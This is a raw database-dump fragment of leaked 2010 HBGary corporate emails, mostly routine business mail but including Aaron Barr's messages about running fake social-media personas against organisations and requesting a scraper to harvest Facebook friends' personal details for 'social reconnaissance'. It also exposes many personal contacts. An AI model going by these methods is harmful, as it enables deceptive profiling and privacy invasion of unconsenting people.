Joseph works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     KGS\r\n                    \r\n                      Joseph worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     ManTech IS&amp;T\r\n                    \r\n                      Joseph worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     BAE Systems IT\r\n                    \r\n                      Joseph worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',7808,'aaron_hbgary_com/7808.html'),(10893,'2010-08-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008370.M810369P14101Q5748.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Security Consultant Job Application','\r\n---------- Forwarded message ----------From: Reef Dsouza &lt;reeftim@gmail.com&gt;Date: Wed, Aug 25, 2010 at 1:52 PM\r\nSubject: Security Consultant Job ApplicationTo: jobs@hbgary.com\r\nHi, \r\n\r\nAs a graduate student with a Masters in Information Systems and certificate in Information Security and Assurance, a challenging position in Information Security interests me very much.  Furthermore, I have knowledge of network and software security tools and practices which I believe are vital in software reliability.\r\n\r\n\r\nI am comfortable in programming in several languages and have experience as a Web Developer at George Mason University and as a Linux Administrator at the University of Mumbai.  I believe that my analytical skills and experience would positively contribute to the projects at your organization. To continuously learn about the challenges in security, I take some effort in attending meetings, seminars and conventions of security experts and hackers.  \r\n\r\n\r\nAttached is a copy of my resume. I believe a combination of my educational qualifications as well as my work experience make me well suited for a position at your organization and I look forward to talking with you regarding any opening.\r\n\r\n\r\nRegards,\r\n\r\nReef Dsouza-- Reef DsouzaMS Information Systems 2010Certificate in Information Security &amp; Assurance\r\nGeorge Mason University\r\n',2797,'aaron_hbgary_com/2797.html'),(10894,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008371.M220642P14101Q5749.eml','\"Steve Winterfeld\" <steven.winterfeld@TASC.COM>','U just got a friend request on FB','accept it. ;)',13813,'aaron_hbgary_com/13813.html'),(10895,'2010-08-25','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008371.M457375P14101Q5750.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: U just got a friend request on FB','So I can be part of your class?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, August 25, 2010 4:23 PM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: U just got a friend request on FB\r\n\r\naccept it. ;)\r\n',15373,'aaron_hbgary_com/15373.html'),(10896,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008371.M685801P14101Q5751.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: U just got a friend request on FB','Nooooo....I won\'t use u your just build up to the real targets.  I am getting $100-$150K to do a targeted training class for a company in Denver.  So I am basically doing social media pen testing and then taking the results and wrapping it into the training material.\r\n\r\nEffective.\r\n\r\n\r\nOn Aug 25, 2010, at 6:28 PM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> So I can be part of your class?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 25, 2010 4:23 PM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: U just got a friend request on FB\r\n> \r\n> accept it. ;)\r\n\r\n',15983,'aaron_hbgary_com/15983.html'),(10897,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008371.M897231P14101Q5752.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: U just got a friend request on FB','I have worked out a methodology for getting to a target.  Pretty simple.  Develop a profile and work your way from past to present.  In this case since I know you I am making it a little easier on myself.  It doesn\'t take many before the profile becomes believable.  Over time I would like to do a study to find out what are the mechanics of what works and what doesn\'t.\r\n\r\nI have 2 other profiles going simultaneously.  One for INSCOM and one for another company out here in DC.  People seem to like the idea of the social media pentest/training wrapped together.\r\n\r\nAaron\r\n\r\nOn Aug 25, 2010, at 6:28 PM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> So I can be part of your class?\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, August 25, 2010 4:23 PM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: U just got a friend request on FB\r\n> \r\n> accept it. ;)\r\n\r\n',13013,'aaron_hbgary_com/13013.html'),(10898,'2010-08-25','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008372.M91530P14101Q5753.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Skybox follow up','\r\n\r\n-----Original Message-----\r\nFrom: David_Marcus@McAfee.com [mailto:David_Marcus@McAfee.com] \r\nSent: Wednesday, August 04, 2010 9:09 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: Re: Skybox follow up\r\n\r\nThx Steve!\r\n\r\nhttp://reclaimthewordhacker.com/blog/2010/08/01/my-defcon-18-social-engi\r\nneering-skytalk/ \r\n\r\nOn Aug 3, 2010, at 8:20 PM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> Per your offer I would like to get the tools/URLs you use for SE.\r\n> \r\n> Great talk and thanks\r\n> Steve\r\n> \r\n> -----------------------\r\n> Sent via Blackberry\r\n\r\n',1681,'aaron_hbgary_com/1681.html'),(10899,'2010-08-25','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008374.M449687P14101Q5754.eml','\"Aaron Barr\" <aaron@hbgary.com>','Slides','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15232,'aaron_hbgary_com/15232.html'),(10900,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008375.M234641P14101Q5756.eml','\"Vicky Cox\" <vicky.cox@ugov.gov>','Re: Scheduled Appointment with Dr. Lisa Porter, 10 Sep','Vicky,Short BIO.CEO of HBGary Federal, a services company focused on delivering specialized threat intelligence, incident response, and information operations capabilities to the IC, DoD, and Federal agencies.&nbsp; Previously served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans\'s Cyber Campaign. As Technical Director, I was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, I served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator. I served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. While serving in Norfolk Virginia, I was accepted into the Enlisted Education Advancement Program (EEAP) where I finished a Bachelors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security. I have been a panelist and given speeches on cybersecurity, social media, and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums.Best # I can be reached: 719.510.8478AaronOn Aug 25, 2010, at 10:51 AM, Vicky Cox wrote:Mr. Barr,Per your request, I have you scheduled to meet with Dr. Porter on 10 Sep 2010, 3:00 to 3:45.I have attached the directions to IARPA, Dr. Porter\'s Biography and a Visitor\'s Request Form (VRF); please fill out the VRF and return it, as soon as possible.Please provide your Biography and a phone number, in case we need to reach you (quickly).Thank you and we look forward to meeting you. &nbsp;If I can be of any further assistance, please don\'t hesitate to ask.r/Vicky R. Cox---------- Original Message -----From: \"Manfai Fong\" &lt;manfai.fong@ugov.gov&gt;To: \"Vicki Cox\" &lt;vicky.cox@ugov.gov&gt;, \"Gary Fritter\" &lt;gary.fritter@ugov.gov&gt;, \"Dianna Ayers\" &lt;dianna.t.ayers@ugov.gov&gt;Cc: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Sent: Tuesday, August 24, 2010 12:52:12 PMSubject: Meeting with Dr. PorterVicki,Please arrange a meeting between Dr. Porter and Dr. Baranoski with Mr. Barr from HBGary. &nbsp;Block 45 minutes for the meeting. &nbsp;Look for a date after the 31st of August; either that week or the following week. &nbsp;The meeting will be held here in College Park.Fong-- M. FongExecutive Officer, IARPA(w) 301-851-7586&lt;Dr._Porter_Bio.pdf&gt;&lt;IARPA_Directions2.pptx&gt;&lt;Visitor_Request_Form_20100413_BLANK.docx&gt;',16596,'aaron_hbgary_com/16596.html'),(10901,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008375.M33184P14101Q5755.eml','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>','Re: Malware Clustering Tool','Hi Nart,\r\n\r\nSure.  I would love to see what you come up with.\r\n\r\nAaron\r\n\r\n',14132,'aaron_hbgary_com/14132.html'),(10902,'2010-08-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008375.M451847P14101Q5757.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Ted\'s schedule and please confirm -- PRESENTING TO DIGITALGLOBE','I know Ted is busy but I want to schedule a meeting with DigitalGlobe for Active Defense.  The Security team will be presenting to the IT Director team for buy-in to the AD software.They want a meeting on September 3rd Friday or September 7th day after labor day preferably in the morning.\r\nThere are several issues to cover and Ted would have remote Webex support:ProposalActive Defense for 1,000 Windows systems40 hours install, deploy, triage, report\r\n40 hours to learn to triage Presentation1. About HBGary-- company history-- customers-- people -- products and services2. Why Active Defense -- what is the value -- problem is APT\r\n-- approach  -- critical data is on UNIX servers so why a Windows solution?  -- discuss APT threat and how it operates and it is defeated but will come back...-- What is Active Defense  -- slides or product demo ??\r\n-- Integration and Defense in depth -- IDS, and other complementary products-- Remediation-- Workflow -- include Phil&#39;s RE work finding APT at DigitalGlobe as an example  (Phil could present)\r\n3. Workflow implementation-- skills to administer Active Defense -- skills to triage Active Defense-- skills to reverse engineer-- what is possible and/or recommended for DigitalGlobe and why\r\n 4. Security Clearances5. Next StepMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',10768,'aaron_hbgary_com/10768.html'),(10903,'2010-08-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008375.M658427P14101Q5758.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: Ted\'s schedule and please confirm -- PRESENTING TO DIGITALGLOBE','I&#39;m on an engagement with Mark and will be back in the office Monday. On Aug 25, 2010, at 6:10 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nI know Ted is busy but I want to schedule a meeting with DigitalGlobe for Active Defense.  The Security team will be presenting to the IT Director team for buy-in to the AD software.\r\nThey want a meeting on September 3rd Friday or September 7th day after labor day preferably in the morning.\r\nThere are several issues to cover and Ted would have remote Webex support:ProposalActive Defense for 1,000 Windows systems40 hours install, deploy, triage, report\r\n\r\n40 hours to learn to triage Presentation1. About HBGary-- company history-- customers-- people -- products and services\r\n2. Why Active Defense -- what is the value -- problem is APT\r\n-- approach  -- critical data is on UNIX servers so why a Windows solution?  -- discuss APT threat and how it operates and it is defeated but will come back...-- What is Active Defense  -- slides or product demo ??\r\n\r\n-- Integration and Defense in depth -- IDS, and other complementary products-- Remediation-- Workflow -- include Phil&#39;s RE work finding APT at DigitalGlobe as an example  (Phil could present)\r\n\r\n3. Workflow implementation-- skills to administer Active Defense -- skills to triage Active Defense-- skills to reverse engineer-- what is possible and/or recommended for DigitalGlobe and why\r\n\r\n 4. Security Clearances5. Next StepMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nemail: maria@hbgary.com   \r\n\r\n\r\n',16032,'aaron_hbgary_com/16032.html'),(10904,'2010-08-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008375.M895714P14101Q5759.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Pen test','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: August 25, 2010 6:21:14 PM MDT\r\nTo: Cohen Aaron &lt;aaron@madsecinc.com&gt;Subject: Pen testHi Aaron,\r\nWe met briefly at Gfirst. You mentioned that you have an oracle webapp rock star. Have you ever gone up against an F5 bigip with ASM?If you think you can help, advise, bounce some ideas back and forth,\r\netc, we&#39;d be happy to pay you for 2-4 consulting hours between now andtomorrow evening for telephonic / email support.Regards,Ted\r\nIf you are interested please call me ASAP at:719-237-8623\r\n',8729,'aaron_hbgary_com/8729.html'),(10905,'2010-08-26','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297008376.M129482P14101Q5760.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 8/25/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      LinkedIn Network Updates\r\n      Aug 18 - Aug 25\r\n    \r\n    \r\n      FEATURED UPDATES\r\n      See more updates &#187;\r\n    \r\n    \r\n      \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Sid Fuchs has an updated profile (Specialties, Expertise)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n                                                 \r\n\r\n\r\n\r\nBen Koehl has added a Twitter account: BenKoehl\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                        Sid Fuchs is now Board of Directors at Applied Research Associates\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Sid Fuchs\r\n    is now connected to\r\n        Joe Alexander\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Bill Russell\r\n    is now connected to\r\n        Barbara Lawrence, CISM, CHS-III, ITIL v.3\r\n              \r\n            \r\n            \r\n              \r\n\r\n  John Benson CISSP,CEH,CBCP,CIW-SA,SCE,CSS,CCSE\r\n    is now connected to\r\n        Mark Barnette\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nNow we are talking!      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nCalifornia Legislation Would Require Companies To Specify The Data...         \r\n          A privacy breach notification bill recently passed by the California legislature would expand the state\'s existing law for how organizations notify consumers of a data breach.\r\n\r\nCalifornia\'s existing data breach law does not specify what the breach...\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nRT @miscsecurity: CSU Chico got a \'C\'. What about your college? Side Note: Only one \'A\' was given in Cali. http://bit.ly/a7ulFY #in      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nProtect your Web Apps! Most likely, they are being pwnd.....      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nIBM X-Force Report Reveals Global Security Threats Have Reached...         \r\n          IBM X-Force Report Reveals Global Security Threats Have Reached Record Levels. 36 Percent Rise in Vulnerability Disclosures for First Half of 2010.\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Stu Shea has joined\r\n    Intelligence, Surveillance, and Reconnaissance (ISR)\r\n              \r\n            \r\n            \r\n              \r\n\r\n  John M. Farrell has joined 2 groups, including\r\n      \r\n      Comprehensive National Cybersecurity Initiative (CNCI)\r\n      and\r\n      Information Security Community\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Joseph Johnson has joined 2 groups, including\r\n      \r\n      Praetorian Secure, LLC\r\n      and\r\n      Information Assurance, DIACAP, FISMA\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Victor Tsao - &#x66f9;&#x529b;&#x5143; has uploaded a new profile picture\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      John Benson CISSP,CEH,CBCP,CIW-SA,SCE,CSS,CCSE was recommended by\r\ncolleague      Mark Ghobril\r\n        John was very easy to work with and clear when requesting materials.  He was extremely knowledgable ...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Scott Sheldon\r\n                  \r\n                     added \r\n                  \r\n                    cybernexus Technical Tuesday - The Rise of the Social Web\r\n                  \r\n                     to be held on October 05, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Rodrigo Antao\r\n                  \r\n                     is now using the LinkedIn Outlook Toolbar. \r\n                  \r\n                    Learn more &raquo;\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Scott Sheldon\r\n                  \r\n                     recommends \r\n                  \r\n                    Holy Bible: New International Version\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Scott Sheldon\r\n                  \r\n                     recommends \r\n                  \r\n                    Switch: How to Change Things When Change Is Hard\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n      \r\n    \r\n    \r\n        \r\n        See more updates &#187;\r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n  \r\n    \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n      \r\n    \r\n  \r\n  \r\n',5716,'aaron_hbgary_com/5716.html'),(10906,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008376.M348262P14101Q5761.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Re: GovCon booth','Hi Matt,We are going to work on it. &nbsp;We have had a slow start because we all had some heads down work for a few weeks but starting in September we should be able to get started.Let me get some feedback on your last email Aaron from Mark and Ted when they get back from a gig in New Mexico and then we can set up a few hours to start getting things set up.AaronOn Aug 24, 2010, at 4:52 PM, Matthew Steckman wrote:Aaron,&nbsp;Space is going to be tight this year at GovCon6.&nbsp; I wanted to sync up with you about what you’ll be showing this year.&nbsp; Are you and Aaron still working on the Fingerprinting data integration with Palantir Object Explorer?&nbsp; If so, I think this would be a killer demo to show off.&nbsp;Let me know,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantir.com&nbsp;| 202-257-2270&nbsp;Follow&nbsp;@palantirtechWatch&nbsp;youtube.com/palantirtechAttend&nbsp;Palantir Night Live&nbsp;',16305,'aaron_hbgary_com/16305.html'),(10907,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008376.M619626P14101Q5762.eml','\"Matthew Steckman\" <msteckman@palantir.com>,\"Matthew Steckman\" <msteckman@palantir.com>','Another Killer Demo','Matt,\r\n\r\nI have been doing talks on social media, have a lot more scheduled, along with some training gigs.  In the process I am setting up a lot of personas and doing social media pen testing against organizations.\r\n\r\nWhat I have found is there is an immense amount of information peoples friends lists as well as other social media digital artifacts can tell us.  I think Palantir would be an awesome tool to present and use for analysis.  We are just going to have to get someone to write a helper app.  I am hoping to be able to hire Brandon Colston soon.\r\n\r\nAaron',15023,'aaron_hbgary_com/15023.html'),(10908,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008376.M816972P14101Q5763.eml','\"Ted Vera\" <ted@hbgary.com>','','http://www.vupen.com/english/advisories/2010/0645',1630,'aaron_hbgary_com/1630.html'),(10909,'2010-08-26','\"Mark Trynor\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297008377.M18570P14101Q5764.eml','\"Aaron Barr\" <adbarr@mac.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr3@gmail.com>,\"Ted Vera\" <tedvera@mac.com>,\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@gmail.com>,\"Ted Vera\" <ted@hbgary.com>','photo','http://www.fotosearch.com/UNY792/u27295868/\r\n',9854,'aaron_hbgary_com/9854.html'),(10910,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008377.M236355P14101Q5765.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','Social Media Training','Hey Eric,\r\n\r\nI am updating a few people I know that have expressed some interest in social media training.  After doing this a few times we have come up with a model based on feedback from customers.  For those that are interested we are combining a \"social media pen test\" prior to the training and wrapping that information into the training to make it more relevant to the customer.  Getting to conduct more \"real world\" social media exploitation exercises really helps the course material overall as well.\r\n\r\nAaron',8184,'aaron_hbgary_com/8184.html'),(10911,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008383.M538594P14101Q5766.eml','\"Robert Frizzelle\" <rfrizzelle@csc.com>,\"Robert Frizzelle\" <rfrizzelle@csc.com>','Social Media Training','Hi Bob,\r\n\r\nI am not sure where this would fit in your organization so I thought I would start with you.\r\n\r\nWe have started to provide our social media training and are getting lots of good feedback.  One item that grew organically from our engagements was the idea of conducting a social media pen test against an organization and wrapping that material into the training to make it more relevant to the customer.  For those customers that are interested in this approach it has worked really well.\r\n\r\nEveryone today should be getting some sort of social media training, the vulnerabilities are too large.  The amount of social reconnaissance and social engineering you can do quickly is shocking and puts every organization at risk.  Tie this to malware once social reconnaissance, then social engineering phases are successful, it is an amazing tool to target attacks against specific people and organizations.\r\n\r\nWe have a new brochure that is a little edgier being produced but attached is a copy of our current social media training brochure.\r\n\r\nAaron\r\n\r\n',2282,'aaron_hbgary_com/2282.html'),(10912,'2010-08-26','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297008384.M153434P14101Q5767.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: New User Registration at HBGary.','FYI.\r\n\r\n-----Original Message-----\r\nFrom: HBGary INC [mailto:support@hbgary.com]\r\nSent: Thursday, August 26, 2010 3:39 AM\r\nTo: support@hbgary.com\r\nSubject: New User Registration at HBGary.\r\n\r\nNew user registration on HBGary:\r\n\r\nName: He Yun\r\nUsername: hxbin80@163.com\r\nE-mail: hxbin80@163.com\r\n',9435,'aaron_hbgary_com/9435.html'),(10913,'2010-08-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008384.M373226P14101Q5768.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','For read after pentest','ok so a quick tool that would be exremely helpful is a friend parser using wget.  I could probably write this myself but it would take me a day at least I am sure.\r\n\r\nIf you look at the source for a facebook page:\r\n\r\nhttp://www.facebook.com/profile.php?id=100001555180221\r\n\r\nyou will see buried in the source all of the friends and the friends pids.  You could then put the friends pids in place of the original and grab all their content and dump it into a database.\r\n\r\nName:\r\nBirthday:\r\n# of Friends:\r\nFriends Names\r\nSex:\r\nReligious VIew\r\nEmployers\r\nSchool\r\nInterests\r\netc....\r\n\r\nThis would be extremely helpful and time saving for doing social reconnaissance and building social maps.\r\n\r\nI imagine mark could write this in an hour or less.\r\n\r\nAaron',1995,'aaron_hbgary_com/1995.html'),(10914,'2010-08-26','\"JD Kathuria\" <jd@executivebiz.com>','/aaron@hbgary.com/new/1297008384.M623934P14101Q5769.eml','\"bmalexia@rockwellcollins.com\" <bmalexia@rockwellcollins.com>,\"roger_anderson@appsig.com\" <roger_anderson@appsig.com>,\"zazmi@caci.com\" <zazmi@caci.com>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"pat.burke@sra.com\" <pat.burke@sra.com>,\"mike_carpenter@mcafee.com\" <mike_carpenter@mcafee.com>,\"shawn.carroll@qwest.com\" <shawn.carroll@qwest.com>,\"samuel.chun@hp.com\" <samuel.chun@hp.com>,\"wcooper@comcast.net\" <wcooper@comcast.net>,\"lance.cottrell@abraxascorp.com\" <lance.cottrell@abraxascorp.com>,\"larry.d.cox@saic.com\" <larry.d.cox@saic.com>,\"bdix@juniper.org\" <bdix@juniper.org>,\"barbara.g.fast@boeing.com\" <barbara.g.fast@boeing.com>,\"skip.foote@americansystems.com\" <skip.foote@americansystems.com>,\"michael.fraser@usis.com\" <michael.fraser@usis.com>,\"gjg@mitre.org\" <gjg@mitre.org>,\"steve_k_hawkins@raytheon.com\" <steve_k_hawkins@raytheon.com>,\"rodney.joffe@neustar.biz\" <rodney.joffe@neustar.biz>,\"tiffany_jones@symantec.com\" <tiffany_jones@symantec.com>,\"david_joslin@federal.dell.com\" <david_joslin@federal.dell.com>,\"jkoenig@harris.com\" <jkoenig@harris.com>,\"pelacombe@securemissionsolutions.com\" <pelacombe@securemissionsolutions.com>,\"john.lamboy@vangent.com\" <john.lamboy@vangent.com>,\"plamontagne@paradigmsolutions.com\" <plamontagne@paradigmsolutions.com>,\"wluti@digitalmanagement.com\" <wluti@digitalmanagement.com>,\"vincent.mihalik@wyle.com\" <vincent.mihalik@wyle.com>,\"alexander.miller@l-3com.com\" <alexander.miller@l-3com.com>,\"scottmil@microsoft.com\" <scottmil@microsoft.com>,\"jmoorcones@safenet-inc.com\" <jmoorcones@safenet-inc.com>,\"john.osterholz@baesystems.com\" <john.osterholz@baesystems.com>,\"ccpalmer@us.ibm.com\" <ccpalmer@us.ibm.com>,\"jpayne@telcordia.com\" <jpayne@telcordia.com>,\"bill.phelps@accenture.com\" <bill.phelps@accenture.com>,\"jreagan@deloitte.com\" <jreagan@deloitte.com>,\"james.russell@qinetiq-na.com\" <james.russell@qinetiq-na.com>,\"kenneth.sannicolas@stanleyassociates.com\" <kenneth.sannicolas@stanleyassociates.com>,\"nadia.short@gd-ais.com\" <nadia.short@gd-ais.com>,\"stewart_bill@bah.com\" <stewart_bill@bah.com>,\"larry.strang@tasc.com\" <larry.strang@tasc.com>,\"bill.varner@mantech.com\" <bill.varner@mantech.com>,\"svisner@csc.com\" <svisner@csc.com>,\"kathy.warden@ngc.com\" <kathy.warden@ngc.com>,\"jwatters@isightpartners.com\" <jwatters@isightpartners.com>,\"dusty.wince@knowledgecg.com\" <dusty.wince@knowledgecg.com>,\"ines_dunsmore@appsig.com\" <ines_dunsmore@appsig.com>,\"kgilbo@caci.com\" <kgilbo@caci.com>,\"laura_rochette@mcafee.com\" <laura_rochette@mcafee.com>,\"sharon.c.jackson@qwest.com\" <sharon.c.jackson@qwest.com>,\"orlandof@saic.com\" <orlandof@saic.com>,\"annette.m.clayberg@boeing.com\" <annette.m.clayberg@boeing.com>,\"jessie.miscar@usis.com\" <jessie.miscar@usis.com>,\"lhormann@mitre.org\" <lhormann@mitre.org>,\"rita_g_hall@raytheon.com\" <rita_g_hall@raytheon.com>,\"lisa.patel@neustar.biz\" <lisa.patel@neustar.biz>,\"phil_niskanen@federal.dell.com\" <phil_niskanen@federal.dell.com>,\"jmushro@paradigmsolutions.com\" <jmushro@paradigmsolutions.com>,\"simone.hasson@l-3com.com\" <simone.hasson@l-3com.com>,\"valerim@microsoft.com\" <valerim@microsoft.com>,\"lorraine.lipka@baesystems.com\" <lorraine.lipka@baesystems.com>,\"kwoc@us.ibm.com\" <kwoc@us.ibm.com>,\"bgarriso@telcordia.com\" <bgarriso@telcordia.com>,\"anissa.l.thomas@accenture.com\" <anissa.l.thomas@accenture.com>,\"rwilloughby@deloitte.com\" <rwilloughby@deloitte.com>,\"teresa.brennan@gd-ais.com\" <teresa.brennan@gd-ais.com>,\"dana.briggs@mantech.com\" <dana.briggs@mantech.com>,\"rnichols2@csc.com\" <rnichols2@csc.com>,\"jennifer.derflinger@ngc.com\" <jennifer.derflinger@ngc.com>,\"smcclung@isightpartners.com\" <smcclung@isightpartners.com>,\"Jim Garrettson\" <jimg@executivebiz.com>,\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>,\"bmalexia@rockwellcollins.com\" 